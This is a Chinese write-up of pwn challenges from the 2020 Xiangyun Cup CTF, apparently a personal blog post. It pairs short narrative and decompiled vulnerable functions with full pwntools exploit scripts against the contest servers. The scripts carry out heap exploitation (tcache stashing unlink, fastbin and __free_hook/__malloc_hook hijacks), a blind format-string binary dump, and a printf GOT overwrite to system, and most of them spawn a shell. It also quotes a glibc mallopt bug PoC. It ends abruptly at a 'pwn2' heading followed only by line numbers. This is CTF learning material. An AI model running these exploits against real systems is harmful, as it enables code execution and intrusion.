2020祥云杯 Pwn WP

First Post:

Last Update:

Word Count:
5.9k

Read Time:
31 min

祥云杯 2020 WP

前言

这次比赛打得不是很好,第一个题从比赛开始一直做,做到下午5点还没做出来,只好看其他pwn了,拿到可以实现修改rip了,但是打所有one_gadget都失败,打到一个,不能输入命令执行,只好去看我接的那个项目了,当天就是截至日期,我的项目里还存在几个错误,对方一直在催,我只好再改改项目中的代码,但是还是不会写测试代码,不知道那边测试机制是啥。。。然后又继续干pwn了,在libc中一直找gadget想来控制一下rdi寄存器,并且调用system函数,setcontext中的gadget可以实现,但是开辟的堆太小了,没法使用该gadget,我只好再找找其他的gadget,找到一个可以修改rsp寄存器的gadget,我采用该gadget来打one_gadget,想不到还通了。。。晚上10点第一个pwn,后面心情爽多了,晚上11点又干出到影流之主,该题听说是个cve,熬夜继续干,先是看了把嘴闭上,实在没思路,有继续看第一个pwn了,换了另一种思路,凌晨3点出了这道。接下来只剩下内核pwn和一个没头绪的把嘴闭上了,我就没看了,一觉睡到9点,听说上了道pwn,匆忙的从寝室去实验室,不到半小时把这新上的题做了。又开始看内核pwn和把嘴闭上,自己毛病犯了,一点小事把自己搞得跟颓废的狗,就没继续打比赛了,这里就不说了,对不住了各位师傅,望见谅!离比赛结束还有两个多小时,看着队伍名次掉到30后了,自己也坐不住了,继续打pwn,听另一位师傅说该体是一个cve,给了个该bug的报告网站,我看了下,可以利用该漏洞来修改top chunk,但是bug提交者提供的poc感觉只是对堆的top chunk 该往下边去了,没发现啥,但是在poc中两次调用mallopt的中间加一个malloc(0x1f),可以实现吧top chunk 指向main_arena + 88处,也就可以在下次分配的时候分配到main_arena + 0x88处,本来想修改top chunk实现任意地址开辟,但是不能自定义修改top chunk指针,后面又想覆写_IO_2_1_stout_结构体,伪造虚表,发现好多main_arena中的值都不能修改,一直卡死,直到比赛结束,灰溜溜的就回寝室睡觉了。。。

这次比赛总排名19,学到了不少东西,各位师傅辛苦了,尤其是web,misc,crypto,re,表现都很不错,给个赞!!! d0g3起飞~~

PWN1 [Beauty_Of_ChangChun]

该题是glibc2.29以上的利用,若开辟大小大于或等于0x100会存在个uaf漏洞,且开辟大小存在范围的,且采用calloc开辟,没法直接利用uaf漏洞来修改tcache bin的fd实现劫持,后面就想采用unsorted bin attack楼改global_max_fast为一个大值,这样就可以采用fastbin attack攻击手段,在我使用unsorted bin attack的时候总是失败,网上一搜,原来glibc2.29以上unsorted bin attack基本已经失效,后面了解到small bin可以代替unsorted bin attack,也了解到glibc.2.29以上一种攻击Tcache Stashing Unlink Attack可以实现任意地址开辟或者unsorted bin attack效果。就学习该手段,一心只想修改global_max_fast后采用fastbin attack,calloc(1, 0x100)次数只能使用3次,有就放弃了该念头,然后想采用Tcache Stashing Unlink Attack来实现任意地址开辟,也搞了半天,tcache bin已经满了,也不能采用其他的大小的small bin,采用unsorted bin 分割搞了半天,还是实现不了其他大小small bin连续两个堆块的连接,后面就做项目去了。。。凌晨过来继续看,我将目光指向了打印flag函数的检查机制,若我能够修改程序初始化的key值,然后再在某个堆中填写我们修改的key值,绕过检查即可打印flag,修改mmap中的随机数key值就采用Tcache Stashing Unlink Attack来修改为main_arena附近的地址,类似与unsorted bin attack,在堆中存放计算好的main_arena附近地址就行,绕过之后就可打印flag。

vul

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 del()
{
unsigned int v1; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("idx:");
v1 = inputn();
if ( v1 <= 9 && p_size[v1] )
{
free((void *)p_arr[v1]);
LOBYTE(p_size[v1]) = 0; // vul
}
return __readfsqword(0x28u) ^ v2;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = 'pwn'
libc_path = '/glibc/2.29/64/lib/libc.so.6'

# remote server ip and port
server_ip = "112.126.71.170"
server_port = 43652

# if local debug
LOCAL = 0
LIBC = 1

#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

def ad(sz):
sla('scenery\n', '1')
sla('size:', str(sz))

def rm(i):
sla('scenery\n', '2')
sla(':', str(i))

def md(i, d):
sla('scenery\n', '3')
sla(':', str(i))
sla(':', d)

def dp(i):
sla('scenery\n', '4')
sla(':', str(i))

def ad2(d):
sla('scenery\n', '5')
s(d)

def ad3():
sla('scenery\n', '666')


# glibc 2.29 ~ 2.32
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
ru('ple\n')
flag_addr = int(r(12),16)
li('flag_addr: ' + hex(flag_addr))
ad(0x100)
ad(0x80) # 1 avoid unsorted bin merge
rm(1)
ad(0x100) # 1
ad(0x80) # 2 avoid top chunk merge, and use for small bin

rm(0)
for _ in range(6):
md(0, p64(0) + p64(0))
rm(0)

dp(0)
leak = u64(ru('\x0a\x48')[-6:].ljust(8, b'\x00'))
heap = leak - 0x260

li('heap: ' + hex(heap))
md(0, p64(0) + p64(0))
rm(0)

dp(0)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
malloc_hook = leak - 96 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
global_max_fast = libc_base + libc.sym['global_max_fast']
main_arena = malloc_hook + 0x10
li('libc_base: ' + hex(libc_base))
li('malloc_hook: ' + hex(malloc_hook))
#chunk_addr = heap + 0xc8

rm(1)
ad3()

md(1, p64(heap + 0x250) + p64(flag_addr - 0x10))
#md(1, p64(0) + p64(flag_addr - 0x10))
ad2(p64(main_arena + 0x352) + p64(heap + 0x3f0))

rm(2)
ad(0x100) # modify random num

md(2, p64(main_arena + 352))
sla('scenery\n', '5')
sl('2')
#db()



def finish():
ia()
c()

#--------------------------main-----------------------------
if __name__ == '__main__':

if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_PRELOAD" : libc_path} )
else:
io = elf.process()

else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)

exploit()
finish()

PWN2[baby dev]

一看是内核pwn,应该是个溢出漏洞采用ret2user利用手段吧,看了几下就没看了。。。tcl学kenel pwn去。。。。

PWN3[baby pwn]

这个题是个c++ pwn,运行后直接开辟直接崩溃,我大为惊喜,分析逆向代码有点乱,采用exp乱试一番,发现程序崩溃,因为程序有个指针函数调用,且该函数指针存放在堆中,若能修改该函数指针,即可实现修改rip,这是个uaf漏洞,先通过打印函数leak出libc,再修改该函数指针为one_gadget,但是所有one_gadget都不通,在libc中找了半天的gadget,最终找到个改变rsp的gadget调整一下one_gadget中的execve第二个参数,远程通了。。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')


context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = 'pwn'
MODIFY_LD = 0
arch = '64'
libc_v = '2.23'

ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
libc_path = './libc.so.6'

# change ld path
if(MODIFY_LD):
os.system('cp ' + elf_path + ' ' + elf_path + '.bk')
change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path
os.system(change_ld_cmd)
li('modify ld ok!')
exit(0)

# remote server ip and port
server_ip = "8.131.69.237"
server_port = 52642

# if local debug
LOCAL = 0
LIBC = 1

#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

def init():
sla('exit', '1')

def cre():
sla('exit', '2')

def ad(sz):
sla('exit', '3')
sla(':', str(sz))

def se(d):
sla('exit', '4')
sa(':', d)

def dp():
sla('exit', '5')

def size():
sla('exit', '6')

def q():
sla('exit', '7')

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
init()
cre()
ad(0x88)

dp()
ru('show:')
r(9)
heap = u64(r(8))
li('heap: ' + hex(heap))
ad(0x88)
init()
dp()
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 0x10 - 88
og = libc_base + libc.sym['system']
#gadget = libc_base + 0x115260
setcontext = libc_base + libc.sym['setcontext'] + 0x3d

og = libc_base + 0x45226
#og = libc_base + 0x4527a
#og = libc_base + 0xf0364
og = libc_base + 0xf1207
#0x000000000007218c : mov rdi, rbx ; call qword ptr [rax + 0x18]
#0x000000000012c8d1 : mov rdi, r10 ; call qword ptr [rax + 0x20]
recall = libc_base + 0x7218c

li('leak: ' + hex(leak))
li('libc_base: ' + hex(libc_base))

ad(0x88)
target_chunk = heap - 0xc0 + 8
li('target_chunk: ' + hex(target_chunk))
p = p64(target_chunk) # set rax value
p += p64(recall) # rax + 0x10
p += p64(og) # rax + 0x18
se(p)

db()
size()


def finish():
ia()
c()

#--------------------------main-----------------------------
if __name__ == '__main__':

if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} )
else:
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} )

else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)

exploit()
finish()

PWN4[引流之主]

采用glob函数打开一个目录,采用*类似与通配符,遍历文件,由于涉及到堆的开辟与释放,开辟内存大的话,存在unsorted bin管理,堆中存在main_arena附近地址,通过uaf漏洞泄漏libc,然后采用fastbin attack修改__malloc_hook为one_gadget即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = 'pwn'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'

# remote server ip and port
server_ip = "112.126.71.170"
server_port = 45123

# if local debug
LOCAL = 0
LIBC = 1

#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

def ad():
sleep(0.3)
sl('1')

def rm(i):
sleep(0.3)
sl('2')
sl(str(i))

def md(i, d):
sleep(0.3)
sl('3')
sl(str(i))
s(d)

def dp(i):
sleep(0.3)
sl('4')
sl(str(i))

def glob(d):
sleep(0.3)
sl('5')
sl(d)

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
glob('/proc/self/*\n')
ad() # 0
dp(0)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 0x10 - 0x58
malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + libc.sym['system']
one_gadget = libc_base + 0xf1207
li('leak: ' + hex(leak))
li('libc_base: ' + hex(libc_base))
ad() # 1

rm(0)
md(0, p64(malloc_hook - 0x23))
ad() # 2
ad() # 3
p = b'\x00' * (0x13 - 0x8)
p += p64(0)
p += p64(one_gadget)
md(3, p)
#db()

ad()# 4


def finish():
ia()
c()

#--------------------------main-----------------------------
if __name__ == '__main__':

if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_PRELOAD" : libc_path} )
else:
io = elf.process()

else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)

exploit()
finish()

PWN5 [把嘴闭上]

这个是个glibc的一个历年漏洞,采用mallopt函数能够修改top chunk指针。

触发poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
https://sourceware.org/bugzilla/show_bug.cgi?id=25733

Bug ID: 25733
Summary: mallopt(M_MXFAST) can set global_max_fast to 0
Product: glibc
Version: 2.31
Status: UNCONFIRMED
Severity: normal
Priority: P2
Component: malloc
Assignee: unassigned at sourceware dot org
Reporter: maxkamper at outlook dot com
Target Milestone: ---

mallopt(M_MXFAST) can set global_max_fast to 0.

This doesn't seem intentional because mallopt(M_MXFAST, 0) sets global_max_fast
to SMALLBIN_WIDTH.

Passing a value between 1-7 to mallopt(M_MXFAST, value) sets global_max_fast to
0.

Both malloc.c and the mallopt man page document the legitimate range of values
that may be passed to mallopt(M_MXFAST, value) as "0 to 80*sizeof(size_t)/4".

In GLIBC versions >= 2.27 this has the same effect as setting global_max_fast
to SMALLBIN_WIDTH, but it is perhaps of some concern in GLIBC versions <= 2.26
because of how global_max_fast is treated as an indicator of main arena
initialization by malloc_consolidate().

If the following example is compiled & run under GLIBC version 2.26, a chunk is
allocated overlapping the main arena:

#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>

int main(void) {

// Populate last_remainder, which is treated as the top chunk size field
// after main arena re-initialization.
void* remainder_me = malloc(0x418);
malloc(0x18); // Avoid top chunk consolidation.
free(remainder_me);
malloc(0x18); // Remainder remainder_me chunk.

// Set global_max_fast to 0.
mallopt(M_MXFAST, 7);

// Trigger malloc_consolidate(), which could happen during large
// allocations/frees, but for the sake of simplicity here just call
// mallopt() again.
mallopt(M_MXFAST, 0x78);

// malloc_consolidate() uses global_max_fast to determine if malloc has
// been initialized. If global_max_fast is 0, malloc_consolidate() will
// re-initialize the main arena, setting its top chunk pointer to an address
// within the main arena. Now last_remainder acts as the top chunk size
// field.
printf("%p\n", malloc(0x418);
return 0;
}

--
You are receiving this mail because:
You are on the CC list for the bug.

但是,上面这个poc只是将top chunk 往下移动了,若我们在两次mallopt之间加入一个malloc(0x1f)的话,能够将top chunk指针修改为main_arena + 88处,这样在下次开辟的时候就能开辟到main_arena+ 88处了,虽然能够修改main_arena + 88 以上的内存,但是不能修改top chunk指针指向我们的目标地址,我想的是修改_IO_2_1_stdout_伪造虚表劫持,中途开辟的时候容易修改main_arena中的东西,导致开辟内存失败,出错。然后后面放弃了,比赛结束就没做了。。。

思路

听说__free_hook就在这附近,直接开辟到__free_hook劫持即可,也有修改_IO_list_all伪造IO_FILE劫持的。

更新

不断开辟到__free_hook,劫持__free_hook为system。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = 'pwn'
#libc_path = './libc.so.6'
libc_path = '/glibc/2.23/64/lib/libc.so.6'

# remote server ip and port
server_ip = "112.126.71.170"
server_port = 23548

# if local debug
LOCAL = 1
LIBC = 1

#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

# 1 ~ 1f
def ad(sz, d):
sla(' > ', '1')
sla(' > ', str(sz))
sa(' > ', d)

def rm():
sla(' > ', '2')

def ch(p, sz):
sla(' > ', '3')
sla(' > ', str(p))
sl(str(sz))

# 401 ~ 4ff
def ad2(sz, d):
sla(' > ', '4')
sla(' > ', str(sz))
s(d)

def q():
sla(' > ', '5')

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
ru('0x')
libc_puts = int(r(12), 16)
li('libc_puts: ' + hex(libc_puts))
sla('?', str(0x4f8))
s('A' * 0x4f8)
ad(0x18, 'A' * 0x18)
rm()
# set global_max_fast to 0
ch(1, 7)
ad(0x1, 'A' * 0x1)
#ad2(0x408, 'A' * 0x18)
ch(1, 0x78)

libc_base = libc_puts - libc.sym['puts']
libc_system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
main_arena = libc_base + libc.sym['__malloc_hook'] + 0x10

ad2(0x4f8, 'A')
ad2(0x4f8, 'A')
ad2(0x4f8, 'A')
ad2(0x4f8, 'A')
ad2(0x4f8, 'A')

p = b'/bin/sh\x00'
p = p.ljust(0x320, b'\x00')
p += p64(libc_system)
ad2(0x4f8, p)
db()
rm()


def finish():
ia()
c()

#--------------------------main-----------------------------
if __name__ == '__main__':

if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_PRELOAD" : libc_path} )
else:
io = elf.process()

else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)

exploit()
finish()

PWN6[garden]

该glibc是2.29的,程序开辟限定了大小,也之存在一次uaf漏洞利用,和fastbin的开辟,结合tcache bin机制和unsorted bin分割通过uaf构造堆重叠,打印函数打印出unsorted bin的残留信息泄漏出libc,通过堆重叠修该tcache fd指向__free_hook,指针数组已经满了,重新释放掉再开辟即可开辟到__free_hook处,修改为system,free传入’/bin/sh’即可。

vul

1
2
3
4
5
6
7
8
9
10
11
12
void del2()
{
int v0; // [rsp+Ch] [rbp-4h]

if ( flag )
exit(1);
puts("which tree do you want to steal?");
v0 = inputn();
if ( v0 >= 0 && v0 <= 8 && p_arr[v0] )
free((void *)p_arr[v0]); // vul
flag = 1;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')


context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = 'pwn'
MODIFY_LD = 0
arch = '64'
libc_v = '2.29'

ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
libc_path = './libc.so.6'

# change ld path
if(MODIFY_LD):
os.system('cp ' + elf_path + ' ' + elf_path + '.bk')
change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path
os.system(change_ld_cmd)
li('modify ld ok!')
exit(0)

# remote server ip and port
server_ip = "8.131.69.237"
server_port = 32452

# if local debug
LOCAL = 0
LIBC = 1


#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

def ad(i, d):
sla('>> ', '1')
sla('?', str(i))
sa('?', d)

def rm(i):
sla('>> ', '2')
sla('?', str(i))

def dp(i):
sla('>> ', '3')
sla('?', str(i))

def q():
sla('>> ', '4')

def rm2(i):
sla('>> ', '5')
sla('?', str(i))

def ad2():
sla('>> ', '6')

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
for i in range(8):
ad(i, 'A')

for i in range(7):
rm(7 - i)
rm(0)

for i in range(7):
ad(i, 'A')
ad2()


ad(7, 'A')
for i in range(7):
rm(7 - i)

rm(0)

for i in range(7):
ad(i, 'A' * 8)

ad(7, 'A' * 8)

dp(7)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 0x10 - 96
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
li('libc_base: ' + hex(libc_base))

for i in range(7):
rm(7 - i)
rm2(0)

for i in range(7):
ad(i + 1, 'A')

p = b'A' * 0xd0
p += p64(0) + p64(0x110)
p += p64(0) + p64(0)

ad(8, p)
rm(0)

rm(8)
p = b'A' * 0xd0
p += p64(0) + p64(0x110)
p += p64(free_hook) + p64(0)
ad(8, p)
for i in range(8):
rm(i)
for i in range(7):
ad(i, '/bin/sh\x00')
ad(7, p64(system))
#db()
rm(1)


def finish():
ia()
c()

#--------------------------main-----------------------------
if __name__ == '__main__':

if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} )
else:
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} )

else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)

exploit()
finish()

祥云总决赛pwn

解题模式

pwn1

字符串漏洞盲打pwn,根据字符串漏洞dump远程文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#! /usr/bin/env python3
from pwn import *
context.log_level = 'critical'
f = open("pwn_bin", "ab+")
begin = 0x400000
offset = 0
i=0
while True:
io = remote('172.20.2.8', 15865)
io.recvuntil('floor\n')
addr = begin + offset
p = b'%10$sABCD'
p = p.ljust(0x10, b'\x00')
p += p64(0x0) * 2
p += p64(addr)
io.sendline(p)
try:
info = io.recvuntil('ABCD',drop=True)
remain = io.recvrepeat(0.2)
except EOFError:
break
if len(info)==0:
offset += 1
f.write(b'\x00')
else:
info += b'\x00'
offset += len(info)
f.write(info)
f.flush()
io.close()
f.close()

dump下来后,分析,打印__libc_start_main的got表地址发现后三位为750,是libc2.23的,在进行24轮的输入输出之后,一次输入很大的数据,采用字符串漏洞一次完成修改printf的got表为system函数,下一次输入传入”;sh\x00”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
char v4; // [rsp+0h] [rbp-500h]

sub_400600((__int64)&v4, 0LL, 1280LL);
while ( 1 )
{
puts();
MEMORY[0x602089] = sub_400630((__int64)"DO you want to exit Y/N or y/n ");
sub_400630((__int64)"DO you want to exit Y/N or y/n ");
result = MEMORY[0x602089];
if ( MEMORY[0x602089] == 'Y' )
break;
result = MEMORY[0x602089];
if ( MEMORY[0x602089] == 'y' )
break;
read(0LL, (__int64)&v4, 0x501LL);
printf((__int64)&v4);
}
return result;
}
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#!/usr/bin/env python2
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
#from LibcSearcher import *
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

# remote server ip and port
server_ip = "172.20.2.8"
server_port = 15865

# if local debug
libc_path ='./libc.so.6'
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
offset = 10
libc_start_main = 0x602040
p = b'%10$sABCD'
p = p.ljust(0x10, b'\x00')
p += p64(0x0) * 2
p += p64(libc_start_main)
p = p.ljust(0x30, b'\x00')
s(p)

leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
li('leak: ' + hex(leak))
offset__libc_start_main = libc.sym['__libc_start_main']
__libc_start_main = leak
libc_base = leak - offset__libc_start_main
system = libc_base + libc.sym['system']
#libc = LibcSearcher('__libc_start_main', leak)

li('libc_base: ' + hex(libc_base))
li('__libc_start_main: ' + hex(__libc_start_main))

sl('ok')
#__libc_start_main+240
for _ in range(23):
sla('ok', 'ok')

sla('y/n', 'n')
printf_got = 0x602028

offset = 6 + 6
b31 = ((system & 0xFFFFFF) >> (8 * 2)) & 0xFF
b22 = system & 0xFFFF
li('system: ' + hex(system))
print('b31: ' + hex(b31))
print('b22: ' + hex(b22))
li('o_printf: ' + hex(libc.sym['printf']))
li('o_system: ' + hex(libc.sym['system']))
li('free: ' + hex(libc.sym['free']))

p = b'%' + str(b31) + b'c%' + str(offset) + b'$hhn'
p += b'%' + str(b22 - b31) + b'c%' + str(offset + 1) + b'$hn'
p = p.ljust(0x8 * 6, b'\x00')
p += p64(printf_got + 2)
p += p64(printf_got + 0)
sl(p)
#p = b'%' + str(system & 0xFFFF) + b'c%' + str(offset) + b'$hn'
#p = p.ljust(0x20,'A')
#p = antitone_fmt_payload(6, { printf_got : system }, write_size='short')
#p = '%' + str(system & 0xFFFF) +


def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_PRELOAD" : libc_path} )
else:
io = elf.process()
else:
#elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit()
finish()

pwn2

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
